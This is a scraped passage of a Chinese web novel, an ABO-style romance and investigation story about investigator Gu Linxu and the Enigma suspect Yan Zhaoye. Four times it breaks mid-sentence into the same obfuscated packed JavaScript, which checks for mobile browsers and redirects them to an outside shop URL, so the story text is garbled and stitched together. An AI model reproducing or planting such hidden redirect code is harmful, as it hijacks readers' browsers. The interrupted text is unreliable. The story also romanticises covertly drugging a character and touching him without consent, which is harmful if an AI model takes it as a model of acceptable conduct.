他转过头,目光投向单向玻璃的方向,恰好与玻璃后顾凛序的视线隔空相撞。 明明知道对方不可能看见自己,但那目光太过专注,顾凛序还是下意识地移开了眼。 晏昭野这番话是说给顾凛序听的:“顾调查官,你应该在外面吧?去年的事我向你郑重道歉。是我年少无知,口无遮拦,冒犯了你。对不起。” 出乎在场所有人的意料,他道歉之后,居然扇了自己两巴掌,力道之大让脸上立马显现出红印。 单向玻璃外的文员小姑娘惊得张大了嘴,又将目光飘向顾凛序。 但顾凛序仍是没什么表情,仿佛这一幕与自己没有半毛钱关系。 见晏昭野把姿态放得这么低,巴掌打得这么响,话也说到这个份上,李俊荣满腔的火气像是被堵住了出口,不好再发作。 这场审讯最终在一种微妙的氛围中暂告段落,关键问题依旧悬而未决。 整个过程中,晏昭野给人的印象复杂而矛盾:他嘴贫,吊儿郎当,满嘴跑火车,浑身透着纨绔子弟的不正经。 可他喊冤的架势又很是委屈,最后扇自己巴掌和对顾凛序那份沉甸甸的道歉也能看出是真心的。 这一切交织在一起,让人难以判断他究竟是在用高超的演技胡搅蛮缠,还是真的如他自己所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996122|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不慎被卷入了某个尚未察觉的阴谋漩涡之中。 李俊义后来接替情绪激动的李俊荣,又对晏昭野进行数轮审问。但晏昭野只承认扣留了军用抑制剂一天,且对扣留的具体原因含糊其辞,无法给出合理解释。 至于电子签名和静默剂,他则坚决否认,一口咬定是被他人栽赃陷害,并反复强调自己对这批抑制剂被动手脚一事毫不知情。 窗外天色早已漆黑。顾凛序坐在办公桌前,一目十行地翻看厚厚的审讯笔录。 李俊荣站在一旁:“顾队,现在怎么办?晏昭野死活不认,我们也没能查到进一步的证据。” 顾凛序问:“晏昭野人呢?还关在审讯室?” 李俊荣答:“还关着呢。” “晏川柏没派人来接他吗?”顾凛序将笔录看完,没找出什么有用的东西。 李俊荣学舌:“没有,晏家那边一点动静都没有。据我们联系晏家得到的反馈,晏川柏得知此事后勃然大怒,在电话里把晏昭野臭骂了一通。” “说什么‘就当我没这个儿子’,‘让他直接进监狱好好反省拉倒’,完全是一副恨铁不成钢、不想再管的样子。” 顾凛序感慨一句:“可怜晏川柏一把年纪了,还要为晏昭野操碎了心。” 这时,李俊义从办公室门口探头说:“顾队,张局让您现在过去他办公室一趟。” 顾凛序:“什么事?” 李俊义摇了摇头:“张局没说具体内容,只强调让您马上过去。” 顾凛序心下明了,通常这种不提前透露信息的紧急召见,往往意味着重要的事情。 他整理了一下制服:“我这就去。” 张渐鸿坐在宽大的办公桌后,朝他颔首道:“坐吧,把门带上。” 顾凛序依言关好门,在对面坐下:“张局,您找我?” 张渐鸿带着长辈式的关切:“身体怎么样?还能撑住吗?” “还行,能坚持。”顾凛序回答得简洁。 张渐鸿“嗯”了一声:“不用硬撑,还是要多休息,身体是革命的本钱。这次叫你来是想问问,对晏昭野的调查进展如何了?” 顾凛序进入汇报状态,条理清晰地将目前掌握的情况、晏昭野的供词以及调查遇到的瓶颈一一陈述。 张渐鸿听完,双手交叠放在桌上:“这么说,现在是陷入僵局了?” “目前来看是的。”顾凛序承认。 张渐鸿的身体微微前倾:“凛序,有时候查案,线索太清晰、太顺理成章了,反而值得深思。” “猎人下套都知道要抹去脚印。要是满地都留着猎枪编号,你说这是真蠢,还是掉进别人的圈套了?” 顾凛序心念微动,隐约捕捉到了上司的暗示,但他谨慎地没有点破:“张局,您的意思是……” 张渐鸿但笑不语:“调查工作,既要重视证据,也要有全局视野。尤其是在涉及重要合作方的时候,更要权衡多方因素,把握好分寸。有时候退一步,或许能看到更广阔的天地。” 顾凛序垂眸:“我明白了。” 走出张渐鸿的办公室,顾凛序的眉头紧蹙。 晏川柏不是已经表态不管晏昭野了吗?怎么如今连张局都亲自出面敲打自己? ……看来在背后给晏昭野当靠山的,远不止一个穹星生物这么简单。 5. 答应合作A 这种仗着家世背景游走在规则边缘的行径,令顾凛序很是不齿,连带着对晏昭野的印象也变差了很多,即使对方刚才自己扇了自己两巴掌。 “顾队,那我们现在放人吗?”张局那边的风声传到李氏双胞胎兄弟的耳朵里。 顾凛序硬邦邦地说:“不放。” 李俊义为难开口:“可按照规定,如果没有新的证据,最多只能扣留晏昭野四十八小时。就算没有张局的指示,我们迟早也是要放人。” 顾凛序干脆道:“那就申请逮捕令吧。” 李俊义怔住:“签逮捕令?” 如果签逮捕令,这意味可就不同了。其实以目前掌握的关于晏昭野的证据,签与不签都在两可之间,因为晏昭野承认扣留抑制剂,却给不出理由,这一点着实有问题。 可顾凛序一旦签了逮捕令,就相当于公开驳穹星生物的面子,往后军用抑制剂及其他项目的合作就不太能说得过去了。 “签。”顾凛序斩钉截铁地说。 李俊荣提醒:“顾队,可张局那边刚打过招呼……” “我知道,”顾凛序看向窗外渐沉的暮色,“所以等张局下班后我再签。” 兄弟二人对视一眼,终究还是立正应道:“是。” 稍后,顾凛序去找杨雪蚕做了一次细致的身体检查,并处理了雨夜与王海昌争斗时留下的小臂伤口。 检查结果显示他的身体机能一切正常,易感期预计持续两到三天。唯一的区别是,他这次易感期无法依靠任何抑制剂来缓解,只能硬生生熬过去。 杨雪蚕看着他苍白的脸色,想安慰几句,却也只能干巴巴地说:“没事,这马上就过去一天了,很快就熬过去了。” 顾凛序只是应了一声“好”。道理他都懂,但剩下的时间,每一分每一秒都注定十分难熬。 回到自己办公室时,已是深夜。顾凛序看到桌面上摆着李俊义送来的的逮捕令申请文件。 他拿起文件仔细审阅了一遍,确认内容无误,流程合规,便拿起笔筒里的钢笔。 笔帽刚拔开,还未来得及落下笔尖,顾凛序敏锐感知到有人未经敲门,悄无声息地推门而入,又反手轻轻带上了门。 那人没有走近,只是倚靠在门框边,目光定定地落在他身上。 由于正值易感期,顾凛序的感官比平时混乱迟钝许多,只能模糊感知到有外人闯入,却无法像平时那样精准分辨出来者身份。 李俊义和李俊荣进来必定会敲门,他以为是刚才见过的杨雪蚕,头也没抬地问:“还有事吗?” “我想亲自来向顾调查官证明一下我的清白。” 听到这个既陌生又熟悉的声音,顾凛序动作一顿,蓦地抬起头。 只见晏昭野正懒洋洋地倚在门框上,那双深邃的眼睛毫不避讳地看着顾凛序,里面没有了白天审讯时的戏谑和叫屈,反而沉淀着一种复杂难辨的情绪,像是有话要说,又像是在无声地宣告着什么。 顾凛序下意识收敛自己逸散的信息素:“你怎么来了?不是应该在审讯室关着吗?” “你们审讯室的椅子关不住Enigma,”晏昭野歪了歪头,“我看没有人看着,就摸过来了。” 顾凛序哑然,决定回头就要向上面打报告,申请更新设备。 这也不能怪他疏忽,毕竟联邦登记在册的Enigma屈指可数,除了眼前这位,其余的不是身居军政要职,便是各行各业的顶尖人才,谁会沦落到被铐在特调局的审讯椅上? 晏昭野向前迈了小半步,克制地停在门边。 “那个中了静默剂的人是你吗?” 虽然是问句,他的语气却已是笃定。 作为Enigma,他对信息素的感知本就敏锐,更何况面对的还是正处于易感期的Alpha。 一出审讯室,狼崽子就捕捉到了独特而凛冽的薄荷气息,像被无形的丝线牵引着,他嗅着味道,一路摸到了顾凛序的办公室。 顾凛序语气平静:“你不是已经知道答案了么。” “只有你一个人中招?”晏昭野这一路走来,只清晰地感知到这一处异常浓烈的Alpha信息素。 人都堵到门口了,顾凛序也没什么可隐瞒的:“对,只有我的抑制剂出了问题。” 晏昭野扯了扯嘴角,带着点自嘲:“怪不得你们第一个怀疑我。” 因为有去年那场在公共场合出言不逊的“前科”,他很有自知之明。 顾凛序将手中的钢笔放在桌上:“你拿什么证明清白?审讯时该说的,你不是都说过了吗?” 晏昭野没有回答,而是从口袋里拿出一支全新的抑制剂,隔空抛了过去。 他没敢靠太近,因为办公室里的薄荷信息素对他而言太过浓烈,也太过…… 诱人。 薄荷味冰冰凉凉的气息,此刻却像最勾人的钩子,缠绕着他的神经,让他热血上头。 “试试这个,算我的投名状。” 晏昭野保持着安全距离。 李俊义和李俊荣能自如进出顾凛序的办公室,是因为同为Alpha,他们只需调动自身信息素抵御顾凛序的信息素即可。 但晏昭野是Enigma。 从某种程度上来说,Enigma与Omega类似,会对强大的Alpha信息素产生本能的吸引。 可Enigma又与Omega不同。Omega对Alpha信息素的反应更多是渴望靠近、寻求依附与抚慰,带着点臣服的意味。 而Enigma对Alpha信息素的反应,则更像是潜伏在暗处的猛兽,嗅到了独属于他的、最完美猎物的气息。 是血管里燃起的征服欲,是想要将对方的一切都打上自己烙印的绝对占有。是想要看他冷静尽碎,看他为自己失控,想要将他从高高在上的神坛拉下,独占那份凛然与强大。 那是一种源自基因深处的、更具侵略性和掠夺性的冲动。 在他眼中,此刻的顾凛序还是那副冷峻禁欲的模样,深灰色的制服扣到领口,但因为易感期的折磨,他的眼尾泛着不正常的薄红,那双沉静如寒潭的眼眸,虽然依旧带着审视与警惕,却比平时多了几分脆弱感。 这种脆弱出现在联邦之盾的身上,出现在这个强大到令人生畏的Alpha身上,形成了一种极致矛盾、足以让任何Enigma疯狂的吸引力。 ——想标记他。 这个念头如同野火般在晏昭野的脑海里燎原。 如果把这位被誉为联邦之盾的的Alpha标记,让他冷冽的薄荷信息素从此染上威士忌的醇厚而辛辣的酒香…… 晏昭野觉得这个念头简直美妙极了。 但他现在半个字都不能透露。毕竟在对方眼里,自己还是个有“前科”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996123|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦分子。 如他所料,顾凛序稳稳接住了那支抑制剂。 顾凛序垂眸审视。这支抑制剂的外形与常规型号无异,唯独尾端印着独特的标识。一个正在燃烧的太阳,像是希腊神话的风格。 他没有使用。眼前这东西是否真是抑制剂还未可知,抛出它的人也未达到能让他信任的程度。 晏昭野直直看向他:“顾调查官,你同我交个底,你心里怀疑谁,怀疑我吗?” 办公室里陷入短暂的沉寂。 就在他以为自己等不到答案的时候,顾凛序的声音响了起来: “证据链不完整。” 虽然他不认同张渐鸿的放人的暗示,但其他地方说的不无道理。猎人下套都知道要抹去脚印,这一点晏昭野不可能不懂。 包括眼下晏昭野向他送“投名状”的举动,如果真的存心害他,岂不是太明目张胆了? 同时也源于顾凛序自己多年办案积累的经验和直觉。线索摆得太过明显,反而透着精心设计的味道,处处有着不合常理的猫腻。 现在特调局还有个内鬼隐匿于暗处,如果这个人想拽自己下台,那晏昭野无疑是最合适的棋子。 他的目光重新落在晏昭野身上:“这支抑制剂你从哪里得来的?” 晏昭野轻轻笑了一下,那笑容里带着点被误解后的委屈,又混杂着被信任的释然: “穹星生物最近在研发静默剂的中和剂,我参与了部分研究,这支是样品。” “本来今天我要把它送去研究院做活体测试,结果半路被请来这里‘吹空调’。” “虽然是样品,具体效果尚有待验证,但我以晏家和穹星生物的信誉担保,绝对无害,”晏昭野微微鞠躬,做了个邀请的手势,“顾调查官,不妨试一试?” 顾凛序修长的手指转动着抑制剂管壁,没有其他动作。 晏昭野看着顾凛序,再次向他发出邀请,平日玩世不恭的语调里淬着冰冷的锋芒: “有人想借你这把最锋利的刀,彻底除掉我。” “顾调查官,你是愿意当别人手里的刀……” “还是愿意跟我合作,把幕后那只手揪出来?” 顾凛序眸光微动。 他当然明白其中深意——如果注射这支抑制剂,便意味着与眼前这个Enigma达成如对方所说的同盟。 他倒是不担心抑制剂对身体有害。晏昭野在进特调局时,特调局的门禁系统会对他进行必需的检查。虽然系统不能分析出抑制剂的具体成分,但遇到有毒物质会立即报警。 这支是不是抑制剂、管不管用暂且不谈,晏昭野能带着它顺利通过安检,至少能证明其安全性。 顾凛序的视线掠过青年绷紧的手臂线条,那具包裹在衬衫下的躯体蕴藏着无限的爆发力。 抛开那些纨绔传闻,这个Enigma有着令人惊艳的资质。这样的好苗子若是走上正途,假以时日磨练,必会成为联邦特调局的王牌,令罪犯闻风丧胆的利刃。 易感期的燥热仍在血脉里窜动,顾凛序认真考虑一番,觉得这或许是个契机。既能为案件找到突破口,又能将狼崽子驯养在身边,让他为联邦的明天做点贡献。 “晏昭野,记住你说的话。” 他当着晏昭野的面,褪去抑制剂保护套。 针头抵上颈侧,淡蓝色的液体被缓缓推入血管。 6. 得寸进尺E 晏昭野的视线锁住冷白肤色上渐渐浮现的细小血珠,原本随意搭在门框上的手指悄然收紧。 很好,联邦之盾接下了他的“投名状”。 顾凛序注射完抑制剂,随手拿起桌面上一份无关文件,将尚未签字的逮捕令申请书压在了下面——既然他与晏昭野达成初步合作,这个东西暂时就用不上了。 “合作期间还需要你委屈一下,”顾凛序公事公办地开口,“为了调查顺利,对外我们依然会维持对你的怀疑态度,你的嫌疑暂时不能洗清,明天会正式让你签署保密协议。” “还有,明天会允许你离开特调局,但你需要配合我们的后续行动,保证随叫随到。” 晏昭野的脸上又挂起了那副惯有的、带着点痞气的笑容:“没问题,我全听顾调查官安排。” 他状似不经意地提醒:“对了,顾调查官,这药剂可能会让人犯困,是正常现象。回去好好睡一觉,别加班了。” 顾凛序:“我的事不劳费心。还有别的事吗?” “没了没了,我这就滚,不打扰顾调查官休息。”晏昭野笑着退后一步,带上了办公室的门。 不过顾凛序后来也没在特调局待多久,因为很快他就感受到一阵困意,直接回家了。 这一晚,他睡得格外深沉。那支特殊的抑制剂发挥了作用,易感期带来的难以忍受的不适感被有效压制了下去。 就是第二天清晨醒来时,一种如同被钝器击打过后的闷痛刺激着他的脑袋。 尽管如此,与易感期那种刮骨剜心般的折磨相比,顾凛序觉得这点头疼不算什么。至少他的思维恢复了往日的清明,身体也不再因渴望而颤抖。 头疼慢慢缓解,顾凛序终于能神清气爽地回到特调局。 他想起昨晚走得急,还没告知李氏双胞胎兄弟与晏昭野合作的决定,正准备找他们说明情况,却四处不见人影。 他随手拦下一位路过的文员:“看到李俊义和李俊荣了吗?” 文员有些胆怯,指了指走廊尽头:“顾队,他们和晏昭野在器械管理室那边,好像……吵得有点厉害。” 他们怎么还吵起来了? 顾凛序迈步朝那边走去。器械管理室的门虚掩着,里面的争执声清晰可辨。 “晏昭野!”李俊义的声音带着压不住的怒火,“你敢在特调局公然破坏公物,损坏特制审讯椅,这笔账怎么算?!” 紧接着是晏昭野吊儿郎当的语调,听着就让人想揍他:“哎呀,这怎么能怪我呢?我不是故意的,是你们顾队亲自来放我出去的,还拍着我的肩膀,很热情地说‘晏昭野同志,你受委屈了,组织上已经查明真相,你是清白的,快出来吧’。” “怎么可能?”李俊荣的质疑紧随其后,“顾队才不会说这种话。那审讯椅的固定锁怎么解释?那可是高强度合金。” “哦,那个啊,”晏昭野的声音听起来很无辜,“我这不是太感动了嘛。何德何能让联邦之盾亲自来接我,我一激动,信息素没控制住,‘嘭’一下子它就坏了。没办法,我也很无奈啊。” “你放屁!”李俊义气得不轻。 “你别不信啊。你们不信什么?是不信我能破坏椅子,还是不信你们顾队?”晏昭野语调上扬,带着点有恃无恐的狡猾,“你们可以问顾调查官啊。他亲口说的,还能有假?” 门外的顾凛序听得清楚,晏昭野这是算准了李俊荣和李俊义对他极为尊敬,不会为了这种口角之事真的去向他求证,才在这里肆无忌惮地满嘴跑火车,故意气人。 果然,李俊荣气得额头冒青筋:“你知不知道这椅子多贵?必须照价赔偿!” “行啊,赔就赔呗,现金还是转账?”晏昭野毫不在乎地说,“要不我一并赞助特调局升级下设备?安装能关住Enigma的加强版?毕竟你们这儿看着经费挺紧张的。” “你少来这套!”李俊义只恨自己不能冲上去给他一拳。 “那正好,”晏昭野从善如流地说,“不用我赔,省得我跑银行了。” “行了,”顾凛序推门而入,“在走廊就听见你们吵。” 晏昭野的视线如磁石般黏在他的身上。 昨夜那个在易感期里眼尾泛红、信息素逸散的顾凛序已然消失不见,此刻站在这里的又是那个完美无缺的“联邦之盾”。 但只有晏昭野知道,那截被制服领口遮住的颈侧,还留着对方亲手注射抑制剂时留下的微小针孔。 晏昭野还知道,自己昨晚送给对方的“投名状”并非抑制剂,而是…… “顾调查官,感觉如何?”他朝顾凛序打招呼道,“看来昨晚的抑制剂效果不错?” 顾凛序简单答道:“嗯,见效很快。” 李俊义和李俊荣的目光在两人之间来回扫视,满脸都写着“我们是不是错过了什么剧情”。 “那就好。”晏昭野满意地勾起唇角。 顾凛序转向李俊荣和李俊义,言简意赅地交代昨晚同晏昭野达成临时合作一事。 晏昭野像是找到了主人撑腰的狼崽子,在顾凛序看不到的地方,左手比作枪的手势,带着点挑衅又得意的神色,朝李俊义和李俊荣的方向一人“biu”了一枪。 李俊义和李俊荣气得牙痒痒,看着晏昭野得势的模样,胸口一阵憋闷。碍于顾凛序已经发话,他们只能把不满咽了下去,硬生生“挨”了枪子。 顾凛序回头看晏昭野:“保密协议签了吗?” “签了,刚签完。”狼崽子收敛了方才的嚣张,微微低头作乖巧状,伪装成无害的大型犬,朝主人兴奋地摇尾巴。 李俊荣和李俊义将晏昭野“狼装狗”的全过程看在眼里,心里不约而同地骂了句: 这小子怎么这么能装? “行,”顾凛序布置任务,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996124|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天先开个会确定查案方向。俊荣,麻烦你去通知三组;俊义,麻烦你请张局过来。” 李俊荣和李俊义:“收到。” “什么时候开会?”晏昭野眨了眨眼,“现在开吗?” 顾凛序:“对。” 晏昭野拉住他的衣角:“可我还没吃早饭。” 他的声音透着委屈:“昨晚审讯室给的盒饭不好吃,早上还和他们吵了这么久,胃里空得难受。” “晏昭野!”李俊义被他的厚脸皮气到,“你不要得寸进尺!” “你们两个看不惯我就直说,我哪得寸进尺了?肚子饿了还不让吃饭吗?不吃早饭对身体不好,这道理三岁小孩都懂。” 晏昭野理直气壮地反驳,指尖借着说话的工夫,不动声色地沿着顾凛序的衣角往里探了探。 不愧是调查官的制服,衣料就是好摸。他的指腹先是触碰到深灰色制服的面料,冰凉光滑。 不过更好摸的……他的手钻进制服底下,缓慢地朝着布料之下的温热区域移动。 他想找到那层布料之下,属于顾凛序身体的温热和隐约的肌肉线条。 哼,李俊义那个蠢货,扯着嗓子吼算什么本事? ——这才是真正的得寸进尺。 只可惜他没有成功,顾凛序转过身,衣摆从晏昭野手中滑脱,那点偷来的隐秘接触被迫中断。 “那我带你去食堂,”顾凛序没发现他的小动作,“会议延后二十分钟吧,也让大家准备一下。” 李俊荣和李俊义应声道:“是。” 晏昭野亦步亦趋地跟在顾凛序身后:“食堂现在还有饭吗?好吃吗?” 顾凛序头也不回道:“公家食堂,当然不如你们穹星生物,怕是入不了晏少爷吃惯山珍海味的嘴。” “冤枉啊,顾调查官,”晏昭野快走两步与他并肩,举起三根手指作发誓状,“我家餐桌上现在还有空瓶的老干妈,昨天早上出门着急,我还没有来得及扔。” “还有您可千万别叫我晏少爷,我现在可是为特调局服务的人,请叫我……” 他卡壳了,自己也不知道该怎么称呼自己,苦苦思索片刻,憋出一个词:“晏下属吧。” 顾凛序侧过头,清晨的阳光透过走廊的窗户,在他眼底洒下一片细碎的金芒。 他的唇角向上牵起一个极浅的弧度:“你以后如果能考进特调局,我倒是会考虑这么称呼你。” 那笑意很淡,转瞬即逝,却像一颗石子投入平静的湖面,砸进晏昭野的心里。 晏昭野直接看呆了,眼睁睁看着顾凛序往前走,一时间竟是忘了跟。 ……原来他笑起来的时候,左脸颊有个若隐若现的梨涡。 回过神来,晏昭野一边大步补上落下的距离,一边若有所思地摸了摸下巴。 加入特调局吗? 看来我也要考虑考虑了。 7. 偷听墙角A 食堂过了用餐高峰,显得有几分空旷。 顾凛序示意晏昭野随便选,在终端机上刷了自己的身份卡。 “多少钱?我转你。”晏昭野端着餐盘问。 “不用,一顿早饭而已。”顾凛序收起身份卡。 晏昭野问:“那我能加你的迅联吗?” 他指的是联邦民众最常用的通讯软件,不仅能拨打电话,还具备发送信息、转账等功能。 顾凛序报出一串数字。 晏昭野操作个人终端添加,却发现这明显是个工作号:“这是你的工作号吗?我能通过这个转给你钱吗?” “是工作号,”顾凛序瞥了他一眼,“说了不用转,转了我也不会收。” “好的顾调查官,我不转了。”晏昭野本来也不是执意要转,他问第二个问题只是为了确认第一个。 见顾凛序面前空无一物,晏昭野咬着油条,含糊不清地问:“你不吃吗?” 顾凛序摆了摆手:“我在家吃过了。” 晏昭野还想问“你家住哪”,但掂量了一下,觉得自己这顿早饭已经问了太多,于是把话咽了回去,老老实实埋头吃完。 将餐盘归位后,他跟上走向门口的顾凛序。 两人走在走廊里,晏昭野的终端震动了一下。他低头看了眼新存的通讯号,在备注一栏输入“联邦之盾”四个字。 顾凛序和晏昭野最后抵达会议室,其他人均已就座。令顾凛序意外的是,在场身份地位最高的张渐鸿并未坐在主位,而是将那个位置空了出来。 “凛序,坐这里。”张渐鸿指向主位。 顾凛序脚步微顿:“张局,您坐主位更合适。” “不了,今天你是案件负责人,”张渐鸿语气温和,却不容拒绝,“这个位置该你来坐。” 推辞不过,顾凛序只得在主位落座。晏昭野倒是不见外,朝张渐鸿礼貌问好后,坐在他对面的位置。 张渐鸿颔首回应,随即看向顾凛序:“凛序,说说接下来的调查方向吧。” 顾凛序进入工作状态:“目前案件有三个关键点。第一,被动手脚的抑制剂只有一支,即配给我的那一支,说明对方目标明确,是冲着我来的。” “第二,目前查到的线索过于明显地指向晏昭野,再结合他去年的录音,我怀疑是有人想借刀杀人。” “第三,既然晏昭野坚称电子签名是他人伪造,我建议先从这里入手,排查所有能获得晏昭野电子签名的人员。” 张渐鸿委婉地说:“这个方向没错,但调查范围恐怕会触及……” 他话未说尽,但所有人都明白他指的是穹星生物可能存在的内部风险。 “我们会全力配合调查,”晏昭野收起散漫状态,“穹星生物出了内鬼,于我们而言也是一件大事。” “事不宜迟,”顾凛序接过话头,“今天我们就先去穹星生物勘察电子签名系统的使用记录,我稍后会向晏董事长说明情况。” “好的。”晏昭野爽快应下。 会议在确定初步方向后便告一段落。 考虑到此行主要是调查而非抓捕,顾凛序只点了李俊义和李俊荣随行,加上他和晏昭野,四人一同前往穹星生物。 出于礼节,顾凛序亲自致电晏川柏说明情况。晏川柏的态度十分配合,表示自己现在人就在公司,欢迎特调局前来调查。 结束通话,顾凛序去找晏昭野汇合,却发现晏昭野正与张渐鸿在二楼走廊尽头的窗边交谈。 ……他们两个有什么可聊的? 顾凛序心中生疑,联想张渐鸿曾经暗示自己放过晏昭野的事,便悄然靠近,隐在转角的墙后。 只听张渐鸿说:“凛序应该都和你说了吧?这一阵子我们对外还是要宣称你有重大嫌疑,委屈你了。” “这算什么委屈,”晏昭野满不在乎地说,“能借此机会揪出穹星生物内部的问题,对我爸和公司都是好事。” “话虽如此,还是让你受委屈了,”张渐鸿拍了拍他的肩膀,“等真相大白后,我会向上面申请,给你一些补偿。” “真的吗?补偿?”晏昭野来了兴致,“什么补偿?” 张渐鸿看出他心中已有了小算盘:“你想要什么补偿?” “我想进特调局,可以吗?”晏昭野直截了当地说。 “进特调局?”张渐鸿感到诧异,“怎么突然有这个想法?” “哎呀张局您就说行不行吧。”晏昭野没有正面回答。 张渐鸿竟然还真有在分析可行性:“我这边倒是可以让你过来,但你那边……我可不知道能不能放你来特调局啊。” “我这边没问题,只要您答应了就行,回头我就……”晏昭野忽然转头看向转角处。 “顾调查官?在墙后站着干什么?”他歪头问道。 张渐鸿这才后知后觉地看向转角,不禁感慨Enigma的感知力果然名不虚传,连他这样的高阶Alpha都自愧不如。 顾凛序从墙后走出来,神色平静,像是什么都没发生过:“我刚才和晏董事长通了电话。我们现在出发?” “可以啊,”晏昭野笑道,“那张局,我们先走了。” 张渐鸿向他们作别:“嗯,去吧。” 四人同乘一辆公务车,李俊荣开车,李俊义坐在副驾,顾凛序和晏昭野并排坐在后座。 晏昭野侧头看向身旁的人,语气带着调侃:“没想到顾调查官也会偷听啊?” 顾凛序面不改色地说:“没想到你和张局这么熟。” “张局和我父亲是旧识,”晏昭野澄清道,“我和他还好吧,也没有很熟,就是长辈和晚辈的关系。” 想起晏昭野向张渐鸿要的补偿,顾凛序点拨他一句:“特调局没那么容易进,即使你有身份背景,也要走正规流程。” “以你Enigma的身体素质,通过体能测试不难,至于理论考试……反正你只要肯下功夫学习,一定是能考进来的。” “理论都考什么?”晏昭野苦着脸问,“我脑子笨,怕学不会。” 前排的李俊义转过头来,掰着手指头说:“考得那可多了,够你学个三年五载的。” “《联邦特殊犯罪调查条例》全本要熟记,《信息素异常案件处置规范》要能倒背,《刑事侦查学》《犯罪心理学》是基础,还有《特殊体质人群行为分析》、《高危药剂辨识与处置》、《痕迹学概论》……” 他一口气报了十几门课程。 晏昭野:“……” 哈?别说三年五载了,给他三十年五十载他都背不明白。 李俊义还没完,继续补充体能要求:“体能嘛,标准也很高,你一时半会肯定是练不上来的。” “负重五十公斤三十公里越野及格线三小时;精准射击移动靶九十环以上;近距离格斗要能同时放倒三个经过专业训练的Alpha;水下闭气至少五分钟;还有……” 晏昭野:“…………” 这是选调查官还是选星际战神?最强兵王也不用会这么多吧? 顾凛序听出李俊义是在故意夸大其词吓唬晏昭野,且效果显著。旁边这位Enigma脸上那嬉皮笑脸的表情都收敛了不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996125|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他没有戳穿下属的小把戏,因为他觉得让晏昭野对特调局心存敬畏是好事,能治治对方总想靠背景走捷径的毛病。 李俊义的语气带着崇拜:“我们顾队当年可是以笔试第一、实战考核全优的成绩破格晋升的,至今没人打破他的记录。就那个负重越野,顾队当年扛着六十公斤,提前二十多分钟就跑完了!” 李俊荣如数家珍道:“进了特调局之后的顾队也很优秀。‘七?二一’跨国信息素走私案,他连续潜伏七十二小时端掉整个窝点;‘暗网’Omega贩卖链,他亲自扮成买家深入虎穴,救出十几个被囚禁的受害者。” “三年前坎利亚战乱,顾队主动请缨执行维和任务。有次护送平民车队遭遇伏击,他独自引开火力,身中枪弹还坚持到援军赶来。那边现在都还传着联邦之盾的代号呢。” 顾凛序不愿多提:“都是过去的事了,提它做什么。” 其实严格来讲,那次坎利亚维和行动在第五个月就已达成既定目标。本该按规定轮换回国的他,却因当地战事升级、撤离运输飞机严重不足,他作为联邦军人,便毫不犹豫地把自己的舱位让给被困的联邦侨民。 “军人不优先,军人是让人民优先。” 这句他在联邦军校时就刻进骨子里的话,让他在战火纷飞的坎利亚多待了三个月。 多待三个月倒也不全是坏事,至少顾凛序是这么认为的。 虽然在战事升级的那段日子里,自己也不知道明天和炸弹哪个会先来,但他利用这额外的几个月,带着仅剩的队员重整了当地治安,还促成了两个交战部落的停火。“联邦之盾”的代号在坎利亚传颂,在他眼里比任何勋章都珍贵。 晏昭野听得怔住,重新打量起身边这个总是冷静自持的Alpha。 刚回国时,他曾听圈子里那些人用轻佻的语气议论,说顾凛序不过是朵“高岭之花”。所谓“联邦之盾”的称号,不过是靠着那张无可挑剔的脸,迷倒了联邦万千Omega和Beta罢了。 此刻他只想揪着那些人的衣领,一个人揍一拳过去——你们懂什么?一个个心安理得地享受着他用血肉之躯换来的和平,转头却轻飘飘地用最大恶意揣测他的功勋? 更何况,如果真要说靠脸,晏昭野觉得用“高岭之花”形容顾凛序实在片面。 顾凛序的气质并非是让人望而却步的疏离,那是联邦最锋利的刃上凝结的霜雪,是月光下始终为守护人民而出的军刀。 那些说他靠脸吃饭的蠢人根本不懂,这身深灰色制服包裹着的是一具经过战火淬炼的躯体,是经历无数生死关头的联邦之盾。 花瓣之下淬炼过的钢铁锋芒,能迷倒的又何止千万Omega和Beta? 连他这个Enigma,不也照样心甘情愿被那清冽的薄荷气息缚住了心神? 